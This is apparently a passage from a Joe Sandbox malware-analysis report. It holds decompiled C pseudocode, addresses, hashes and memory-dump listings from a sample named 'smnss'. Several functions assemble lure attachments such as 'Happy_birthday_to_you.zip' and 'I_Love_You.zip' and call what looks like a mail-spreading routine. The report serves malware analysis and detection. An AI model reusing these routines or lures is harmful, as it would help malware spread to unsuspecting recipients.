								_t63 = E00402FC2(_t63, _t79);
								if(_t63 == 0) {
									goto L47;
								}
								 *_t90 = _t79;
								_t63 = E0040305A();
								if(_t63 == 0) {
									goto L47;
								}
								while(E00404F0A(_t79, _t81) == 0) {
									 *_t90 = 0x7530;
									L0040C308();
									_t90 = _t90 - 4;
								}
								_v268 =  &_v240;
								_v272 = 0;
								_t63 =  &_v236;
								_v276 = _t63;
								_v280 = E00402288;
								_v284 = 0;
								 *_t90 = 0; // executed
								L0040C330(); // executed
								_t91 = _t90 - 0x18;
								 *_t91 = 0x28; // executed
								L0040C308(); // executed
								_t90 = _t91 - 4;
								if( *0x414018 == 4) {
									 *0x414018 = 0;
									 *_t90 = 0xfa0; // executed
									L0040C308(); // executed
									_t90 = _t90 - 4;
								}
								 *0x414018 =  *0x414018 + 1;
							}
							goto L47;
						}
						L11:
						if(_t87 == 0) {
							_v284 = _t89;
							L0040C218();
							goto L18;
						}
						_t87 = _t87 - 1;
						_v276 = 0;
						_v280 = _t87;
						_v284 = _t89; // executed
						L0040C220(); // executed
						_v284 = _t89; // executed
						L0040C230(); // executed
						_t77 = _t67;
						if(_t67 == 0xffffffff) {
							_v284 = _t89;
							L0040C1C0();
						}
						_t14 = _t77 - 0x61; // -97
						_t17 = _t77 - 0x41; // -65
						_t67 = _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						_t81 = _t81 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t67;
						if(_t81 != 0) {
							goto L11;
						}
						goto L15;
					}
				}
				_v284 = _t89; // executed
				L0040C1C0(); // executed
				_t63 = 0;
				goto L50;
			}

0x0040307e
0x0040308a
0x00403094
0x00403099
0x004030a1
0x004030a4
0x004030a7
0x004030ac
0x004030ae
0x004030b5
0x00403388
0x0040338f
0x0040338f
0x004030c3
0x004030c3
0x004030c6
0x004030ce
0x00000000
0x00000000
0x004030bd
0x004030bd
0x004030d0
0x004030d3
0x004030d8
0x004030e0
0x004030e3
0x004030e6
0x004030eb
0x004030ed
0x004030f4
0x00000000
0x00000000
0x00403360
0x00403360
0x00403360
0x00403363
0x00403368
0x0040336d
0x00000000
0x00000000
0x0040310f
0x00000000
0x00000000
0x00403115
0x00403118
0x0040311d
0x0040311d
0x00403122
0x00403124
0x00403124
0x00403124
0x00403127
0x0040312f
0x00403133
0x00403136
0x0040313b
0x0040313e
0x00403143
0x00403177
0x00403177
0x00403180
0x00403186
0x00403189
0x0040318b
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403193
0x00000000
0x00000000
0x0040319e
0x004031a1
0x004031a3
0x004031aa
0x004031aa
0x00403224
0x00403224
0x00403227
0x0040322c
0x00403231
0x00000000
0x00000000
0x004031b6
0x004031bb
0x004031c1
0x004031c3
0x004031c3
0x004031c8
0x004031ce
0x004031d0
0x004031d0
0x004031d5
0x004031d5
0x004031db
0x004031dd
0x004031dd
0x004031eb
0x004031ee
0x004031f0
0x004031f2
0x004031f2
0x00403203
0x00403205
0x00403207
0x00403207
0x0040320e
0x00000000
0x00403210
0x00403210
0x00403216
0x0040321d
0x0040321e
0x00000000
0x0040321e
0x0040320e
0x00403233
0x00403239
0x00403249
0x00000000
0x00000000
0x0040324f
0x00403255
0x00403258
0x0040325d
0x00403263
0x00000000
0x00000000
0x00403269
0x00403277
0x004032a4
0x004032a7
0x004032ae
0x00000000
0x00000000
0x004032b4
0x004032b7
0x004032be
0x00000000
0x00000000
0x004032c4
0x004032c7
0x004032ce
0x00000000
0x00000000
0x004032e5
0x004032d6
0x004032dd
0x004032e2
0x004032e2
0x004032f4
0x004032f8
0x00403300
0x00403306
0x0040330a
0x00403312
0x0040331a
0x00403321
0x00403326
0x00403329
0x00403330
0x00403335
0x0040333f
0x00403341
0x0040334b
0x00403352
0x00403357
0x00403357
0x0040335a
0x0040335a
0x00000000
0x00403277
0x00403147
0x00403149
0x004030ff
0x00403102
0x00000000
0x00403102
0x0040314b
0x0040314c
0x00403154
0x00403158
0x0040315b
0x00403160
0x00403163
0x00403168
0x0040316d
0x0040316f
0x00403172
0x00403172
0x00403177
0x00403180
0x00403186
0x00403189
0x0040318b
0x00000000
0x00000000
0x00000000
0x0040318b
0x00403177
0x0040337b
0x0040337e
0x00403383
0x00000000

Strings

-, xrefs: 00403297

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 70293fff43ed0eea3442cc5bbc2323760001c1d57e8b9b0057168c482adf9c9d
Instruction ID: 6d437ecd7483d23b259e28590f61e0e5bcbda088feaf823980ac16ccee795e59
Opcode Fuzzy Hash: 70293fff43ed0eea3442cc5bbc2323760001c1d57e8b9b0057168c482adf9c9d
Instruction Fuzzy Hash: 287182748043148AD720AF25C4C536EBFA8AF44715F1549BFE885AB3C1DB7C8B848B8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040447C Relevance: 1.4, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040447C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				void _v28;
				signed int _v32;
				void* _v36;
				char _v40;
				char _v44;
				int _v60;
				int _v64;
				int _v68;
				int _v72;
				char* _v80;
				int _v84;
				int _v88;
				intOrPtr _v92;
				int _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				int _v116;
				char* _v120;
				char* _v124;
				intOrPtr _v128;
				int _v132;
				int _v136;
				char* _v140;
				void* _v144;
				intOrPtr _v148;
				int _v172;
				signed int _v176;
				intOrPtr _v180;
				int* _t53;
				signed int _t56;
				int _t59;
				intOrPtr _t72;
				int _t75;
				signed int _t78;
				void* _t79;
				intOrPtr* _t81;
				intOrPtr* _t82;
				void* _t84;
				void* _t85;
				intOrPtr* _t86;
				intOrPtr* _t89;

				_t72 = _a12;
				asm("cld");
				memset( &_v28, 0, 4 << 2);
				_t81 = _t79 - 0x40 + 0xc;
				_v60 = 0;
				_v64 = 1;
				_v68 = 0;
				_v72 = 0;
				_t53 =  &_v32;
				 *_t81 = _t53; // executed
				L0040C4A8(); // executed
				_t82 = _t81 - 0x14;
				_t75 = 0;
				if(_t53 != 0) {
					_v80 =  &_v36;
					_v84 = 0;
					_v88 = 0;
					_v92 = 0x8003;
					_t56 = _v32;
					 *_t82 = _t56;
					L0040C4B0();
					_t84 = _t82 - 0x14;
					_t75 = 0;
					if(_t56 != 0) {
						_v104 = 0;
						_v108 = _a8;
						_v112 = _a4;
						_t59 = _v36;
						_v116 = _t59;
						L0040C4B8();
						_t85 = _t84 - 0x10;
						if(_t59 != 0) {
							_v40 = 4;
							_v116 = 0;
							_v120 =  &_v40;
							_v124 =  &_v44;
							_v128 = 4;
							_v132 = _v36;
							L0040C4D0();
							_t86 = _t85 - 0x14;
							_v136 = 0;
							_v140 =  &_v44;
							_v144 =  &_v28;
							_v148 = 2;
							 *_t86 = _v36;
							L0040C4D0();
							_v172 = _v36;
							L0040C4C0();
							_v172 = 0;
							_v176 = _v32;
							L0040C4C8();
							_t89 = _t86 - 8;
							_t78 = 0;
							if(0 < _v44) {
								do {
									_v176 =  *( &_v28 + _t78) & 0x000000ff;
									_v180 = "%2.2x";
									 *_t89 = _t72 + _t78 * 2;
									L0040C268();
									_t78 = _t78 + 1;
								} while (_t78 < _v44);
							}
							_t75 = 1;
						} else {
							_v132 = _v36;
							L0040C4C0();
							_v132 = 0;
							_v136 = _v32;
							L0040C4C8();
							_t75 = 0;
						}
					}
				}
				return _t75;
			}

0x00404484
0x0040448a
0x00404495
0x00404495
0x00404497
0x0040449f
0x004044a7
0x004044af
0x004044b7
0x004044ba
0x004044bd
0x004044c2
0x004044c5
0x004044cc
0x004044d5
0x004044d9
0x004044e1
0x004044e9
0x004044f1
0x004044f4
0x004044f7
0x004044fc
0x004044ff
0x00404506
0x0040450c
0x00404517
0x0040451e
0x00404522
0x00404525
0x00404528
0x0040452d
0x00404532
0x00404562
0x00404569
0x00404574
0x0040457b
0x0040457f
0x0040458a
0x0040458d
0x00404592
0x00404595
0x004045a0
0x004045a7
0x004045ab
0x004045b6
0x004045b9
0x004045c4
0x004045c7
0x004045cf
0x004045da
0x004045dd
0x004045e2
0x004045e5
0x004045ed
0x004045ef
0x004045f4
0x004045f8
0x00404603
0x00404606
0x0040460b
0x0040460c
0x004045ef
0x00404611
0x00404534
0x00404537
0x0040453a
0x00404542
0x0040454d
0x00404550
0x00404558
0x00404558
0x00404532
0x00404506
0x0040461e

Strings

%2.2x, xrefs: 004045F8

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: %2.2x
API String ID: 0-341615062
Opcode ID: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction ID: 71e90cb579b3012189f1bc8fcce2ad08a11f5a443b18af0431ecfa41047fce4e
Opcode Fuzzy Hash: c977df23211e434dc7ae6194df0722f08c56245aff09abc11c4fb2b5cff81619
Instruction Fuzzy Hash: 6A41A6B5904309DBDB00EF69C58579EBBF4BB84314F00892EE984A7381E779D548CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBA Relevance: 1.4, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00402BBA(signed int __ebx) {
				intOrPtr _t49;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t81;
				void* _t86;
				void* _t94;
				intOrPtr* _t96;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr* _t99;
				void** _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				void** _t106;

				 *((intOrPtr*)(_t96 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t96 = _t94 - 0xb8;
				L0040C328();
				_t97 = _t96 - 8;
				_t49 =  *0x40d0b4; // 0x40e785
				 *((intOrPtr*)(_t97 + 4)) = _t49;
				 *_t97 = _t94 - 0x1f8;
				L0040C328();
				_t98 = _t97 - 8;
				 *_t98 = 2;
				if(E00404EAE(_t94 - 0x1f8) != 0) {
					 *_t98 = 0x16;
					 *((intOrPtr*)(_t98 + 4)) =  *((intOrPtr*)(0x40d200 + E00404EAE(_t51) * 4));
					_t78 = _t94 - 0x128;
					 *_t98 = _t78;
					L0040C328();
					_t99 = _t98 - 8;
					 *_t99 = 4;
					 *((intOrPtr*)(_t99 + 4)) =  *((intOrPtr*)(0x40d178 + E00404EAE( *((intOrPtr*)(0x40d200 + E00404EAE(_t51) * 4))) * 4));
					 *_t99 = _t78;
					L0040C328();
					_t86 = _t94 - 0x48;
					asm("cld");
					memset(_t86, 0, 0xa << 2);
					_t101 = _t99 - 8 + 0xc;
					_t101[1] = 0x40ede1;
					 *_t101 = _t86;
					L0040C328();
					_t102 = _t101 - 8;
				} else {
					 *_t98 = 0x15;
					 *((intOrPtr*)(_t98 + 4)) =  *((intOrPtr*)(0x40d260 + E00404EAE(_t51) * 4));
					_t81 = _t94 - 0x128;
					 *_t98 = _t81;
					L0040C328();
					_t104 = _t98 - 8;
					 *_t104 = 4;
					 *((intOrPtr*)(_t104 + 4)) =  *((intOrPtr*)(0x40d178 + E00404EAE( *((intOrPtr*)(0x40d260 + E00404EAE(_t51) * 4))) * 4));
					 *_t104 = _t81;
					L0040C328();
					_t86 = _t94 - 0x48;
					asm("cld");
					memset(_t86, 0, 0xa << 2);
					_t106 = _t104 - 8 + 0xc;
					_t106[1] = 0x40ede1;
					 *_t106 = _t86;
					L0040C328();
					_t102 = _t106 - 8;
				}
				 *(_t102 + 4) = "mvcsvnd.qyy";
				_t79 = _t94 - 0x328;
				 *_t102 = _t79;
				E00404C38();
				 *((intOrPtr*)(_t102 + 8)) = _t79;
				 *(_t102 + 4) = 0x104;
				 *_t102 = _t94 - 0x308;
				E00404620(_t94 - 0x308);
				 *((intOrPtr*)(_t94 - 0x42c)) = 1;
				while(E00404F0A(_t79, _t86) == 0) {
					 *_t102 = 0x7530;
					L0040C308();
					_t102 = _t102 - 4;
				}
				 *((intOrPtr*)(_t102 + 0x18)) =  *((intOrPtr*)(_t94 - 0x42c));
				 *((intOrPtr*)(_t102 + 0x14)) = _t94 - 0x48;
				 *((intOrPtr*)(_t102 + 0x10)) = _t94 - 0x308;
				 *((intOrPtr*)(_t102 + 0xc)) = _t94 - 0x1f8;
				 *((intOrPtr*)(_t102 + 8)) = _t94 - 0xb8;
				 *(_t102 + 4) = _t94 - 0x428;
				 *_t102 = _t94 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402bc1
0x00402bcb
0x00402bce
0x00402bd3
0x00402bd6
0x00402bdb
0x00402be5
0x00402be8
0x00402bed
0x00402bf0
0x00402bfe
0x00402c71
0x00402c84
0x00402c88
0x00402c8e
0x00402c91
0x00402c96
0x00402c99
0x00402cac
0x00402cb0
0x00402cb3
0x00402cbb
0x00402cbe
0x00402ccb
0x00402ccb
0x00402ccd
0x00402cd5
0x00402cd8
0x00402cdd
0x00402c00
0x00402c00
0x00402c13
0x00402c17
0x00402c1d
0x00402c20
0x00402c25
0x00402c28
0x00402c3b
0x00402c3f
0x00402c42
0x00402c4a
0x00402c4d
0x00402c5a
0x00402c5a
0x00402c5c
0x00402c64
0x00402c67
0x00402c6c
0x00402c6c
0x00402ce0
0x00402ce8
0x00402cee
0x00402cf1
0x00402cf6
0x00402cfa
0x00402d08
0x00402d0b
0x00402d10
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Strings

mvcsvnd.qyy, xrefs: 00402CE0

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: mvcsvnd.qyy
API String ID: 0-1605320677
Opcode ID: 18fdd52072c3ebfa53bd89602a8effff2b1c8b0ae3e42b16956988021cd2a7d8
Instruction ID: 3c31970993b76fcb6f62e82551040ecc98f125b31847a965db22ab4f080a2362
Opcode Fuzzy Hash: 18fdd52072c3ebfa53bd89602a8effff2b1c8b0ae3e42b16956988021cd2a7d8
Instruction Fuzzy Hash: F441FBB59043048BCB10BF65D98569DBBF0BF84314F40897FE584A7381EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405F6A Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

j_@, xrefs: 00405FD2

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: C740
String ID: j_@
API String ID: 338827393-4059994095
Opcode ID: 9c543dd4ae2d1a579bc1153be0ff5262257ddce23cdcbf64857ad303beb8dd8f
Instruction ID: 3a82dccbd2dd31cd78637e7a3e29cff02491936a1f1bbf5eed974e596509a0e2
Opcode Fuzzy Hash: 9c543dd4ae2d1a579bc1153be0ff5262257ddce23cdcbf64857ad303beb8dd8f
Instruction Fuzzy Hash: C741A374A047099FCB10DFA9C48069EFBF1FF88314F15862AE864A7395D3349886CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00409250 Relevance: 1.3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00409250(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v84;
				intOrPtr* _v88;
				intOrPtr _t30;
				intOrPtr* _t34;
				intOrPtr* _t35;
				intOrPtr* _t36;
				void* _t49;
				intOrPtr* _t50;

				_t45 = __esi;
				_t43 = __edi;
				_t50 = _t49 - 0x58;
				_v36 =  &_v16;
				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_v44 = E00408B60;
				_v40 = 0x40c53c;
				_v32 = 0x4092f0;
				_v28 = _t50;
				 *_t50 =  &_v68;
				E0040B460(__ebx, __edi, __esi);
				_t39 = _a4;
				if(_a4 == 0) {
					_a4 = 1;
				}
				_v64 = 1;
				_t30 = _a4;
				 *_t50 = _t30; // executed
				while(1) {
					L0040C1E0(); // executed
					_v72 = _t30;
					if(_t30 != 0) {
						break;
					}
					_t34 =  *0x418220;
					if(_t34 == 0) {
						 *_t50 = 4;
						_t35 = E0040A600(_t39, _t43, _t45);
						 *_t35 = 0x413524;
						_v84 = E0040ADD0;
						_v88 = 0x4132d8;
						 *_t50 = _t35;
						_v64 = 1;
						E0040A510();
						0;
						0;
						_t36 = _v88;
						 *_t36 = 0x413554;
						return _t36;
					} else {
						_v64 = 1;
						 *_t34();
						_t30 = _a4;
						 *_t50 = _t30;
						continue;
					}
					L9:
				}
				 *_t50 =  &_v68;
				E0040B540(_t39);
				return _v72;
				goto L9;
			}

0x00409250
0x00409250
0x00409256
0x00409259
0x0040925f
0x00409262
0x00409265
0x00409268
0x0040926f
0x00409276
0x0040927d
0x00409280
0x00409283
0x00409288
0x0040928d
0x0040928f
0x0040928f
0x00409296
0x0040929d
0x004092a0
0x004092a3
0x004092a3
0x004092a8
0x004092ad
0x00000000
0x00000000
0x004092af
0x004092b6
0x0040931f
0x00409326
0x0040932b
0x0040933b
0x0040933f
0x00409343
0x00409346
0x0040934d
0x00409358
0x0040935c
0x00409363
0x00409366
0x0040936d
0x004092b8
0x004092b8
0x004092bf
0x004092c1
0x004092c4
0x00000000
0x004092c4
0x00000000
0x004092b6
0x004092d3
0x004092d6
0x004092ea
0x00000000

Strings

\4A, xrefs: 00409336

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: \4A
API String ID: 0-538348599
Opcode ID: 0ecb6c02a4a81a0dfcfe540c973c35517d86ffe538936b2e6484bce162824ce1
Instruction ID: 338b94403b559ad32af1281e798f3fe943d33952d28f1ae2ce1afebc3db5e29d
Opcode Fuzzy Hash: 0ecb6c02a4a81a0dfcfe540c973c35517d86ffe538936b2e6484bce162824ce1
Instruction Fuzzy Hash: 052174B0904308AFCB00EFA5D48469DBBF4EF48304F10846EE848B7391D779AA858F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402A73 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00402A73(signed int __ebx) {
				intOrPtr _t37;
				intOrPtr _t52;
				void* _t56;
				void* _t62;
				intOrPtr* _t64;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				void** _t69;
				intOrPtr* _t70;

				 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t64 = _t62 - 0xb8;
				L0040C328();
				_t65 = _t64 - 8;
				 *_t65 = 0x14;
				 *((intOrPtr*)(_t65 + 4)) =  *((intOrPtr*)(0x40d1a0 + E00404EAE(_t62 - 0xb8) * 4));
				_t52 = _t62 - 0x128;
				 *_t65 = _t52;
				L0040C328();
				_t66 = _t65 - 8;
				 *_t66 = 5;
				 *((intOrPtr*)(_t66 + 4)) =  *((intOrPtr*)(0x40d164 + E00404EAE( *((intOrPtr*)(0x40d1a0 + E00404EAE(_t62 - 0xb8) * 4))) * 4));
				 *_t66 = _t52;
				L0040C328();
				_t67 = _t66 - 8;
				_t37 =  *0x40d0a8; // 0x40e6b2
				 *((intOrPtr*)(_t67 + 4)) = _t37;
				 *_t67 = _t62 - 0x1f8;
				L0040C328();
				_t56 = _t62 - 0x48;
				asm("cld");
				memset(_t56, 0, 0xa << 2);
				_t69 = _t67 - 8 + 0xc;
				_t69[1] = "Happy_birthday_to_you.zip";
				 *_t69 = _t56;
				L0040C328();
				_t70 = _t69 - 8;
				while(E00404F0A(_t52, _t56) == 0) {
					 *_t70 = 0x7530;
					L0040C308();
					_t70 = _t70 - 4;
				}
				 *((intOrPtr*)(_t70 + 0x18)) =  *((intOrPtr*)(_t62 - 0x42c));
				 *((intOrPtr*)(_t70 + 0x14)) = _t62 - 0x48;
				 *((intOrPtr*)(_t70 + 0x10)) = _t62 - 0x308;
				 *((intOrPtr*)(_t70 + 0xc)) = _t62 - 0x1f8;
				 *((intOrPtr*)(_t70 + 8)) = _t62 - 0xb8;
				 *((intOrPtr*)(_t70 + 4)) = _t62 - 0x428;
				 *_t70 = _t62 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x00402a7a
0x00402a84
0x00402a87
0x00402a8c
0x00402a8f
0x00402aa2
0x00402aa6
0x00402aac
0x00402aaf
0x00402ab4
0x00402ab7
0x00402aca
0x00402ace
0x00402ad1
0x00402ad6
0x00402ad9
0x00402ade
0x00402ae8
0x00402aeb
0x00402af3
0x00402af6
0x00402b03
0x00402b03
0x00402b05
0x00402b0d
0x00402b10
0x00402b15
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Strings

Happy_birthday_to_you.zip, xrefs: 00402B05

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: Happy_birthday_to_you.zip
API String ID: 3161882108-1870604427
Opcode ID: 73652fc745012f35a613cb51c5030b443c3aa7985adbbb7b3b37a4fc762c5969
Instruction ID: cc83420afc5f1d077a3f5b7fbaa549a80263fd77f6117133aa0d2265757cdded
Opcode Fuzzy Hash: 73652fc745012f35a613cb51c5030b443c3aa7985adbbb7b3b37a4fc762c5969
Instruction Fuzzy Hash: 3C21FF759043048BC710EF64D98169EBBF0EF84314F40897FE584A7341EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 004029C9 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E004029C9(signed int __ebx) {
				intOrPtr _t37;
				intOrPtr _t52;
				void* _t56;
				void* _t62;
				intOrPtr* _t64;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				void** _t69;
				intOrPtr* _t70;

				 *((intOrPtr*)(_t64 + 4)) =  *((intOrPtr*)(0x40d0e0 + __ebx * 4));
				 *_t64 = _t62 - 0xb8;
				L0040C328();
				_t65 = _t64 - 8;
				 *_t65 = 0x14;
				 *((intOrPtr*)(_t65 + 4)) =  *((intOrPtr*)(0x40d1a0 + E00404EAE(_t62 - 0xb8) * 4));
				_t52 = _t62 - 0x128;
				 *_t65 = _t52;
				L0040C328();
				_t66 = _t65 - 8;
				 *_t66 = 5;
				 *((intOrPtr*)(_t66 + 4)) =  *((intOrPtr*)(0x40d164 + E00404EAE( *((intOrPtr*)(0x40d1a0 + E00404EAE(_t62 - 0xb8) * 4))) * 4));
				 *_t66 = _t52;
				L0040C328();
				_t67 = _t66 - 8;
				_t37 =  *0x40d0a4; // 0x40e688
				 *((intOrPtr*)(_t67 + 4)) = _t37;
				 *_t67 = _t62 - 0x1f8;
				L0040C328();
				_t56 = _t62 - 0x48;
				asm("cld");
				memset(_t56, 0, 0xa << 2);
				_t69 = _t67 - 8 + 0xc;
				_t69[1] = "I_Love_You.zip";
				 *_t69 = _t56;
				L0040C328();
				_t70 = _t69 - 8;
				while(E00404F0A(_t52, _t56) == 0) {
					 *_t70 = 0x7530;
					L0040C308();
					_t70 = _t70 - 4;
				}
				 *((intOrPtr*)(_t70 + 0x18)) =  *((intOrPtr*)(_t62 - 0x42c));
				 *((intOrPtr*)(_t70 + 0x14)) = _t62 - 0x48;
				 *((intOrPtr*)(_t70 + 0x10)) = _t62 - 0x308;
				 *((intOrPtr*)(_t70 + 0xc)) = _t62 - 0x1f8;
				 *((intOrPtr*)(_t70 + 8)) = _t62 - 0xb8;
				 *((intOrPtr*)(_t70 + 4)) = _t62 - 0x428;
				 *_t70 = _t62 - 0x128; // executed
				E00405EE8(); // executed
				return 0;
			}

0x004029d0
0x004029da
0x004029dd
0x004029e2
0x004029e5
0x004029f8
0x004029fc
0x00402a02
0x00402a05
0x00402a0a
0x00402a0d
0x00402a20
0x00402a24
0x00402a27
0x00402a2c
0x00402a2f
0x00402a34
0x00402a3e
0x00402a41
0x00402a49
0x00402a4c
0x00402a59
0x00402a59
0x00402a5b
0x00402a63
0x00402a66
0x00402a6b
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f2b

Strings

I_Love_You.zip, xrefs: 00402A5B

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
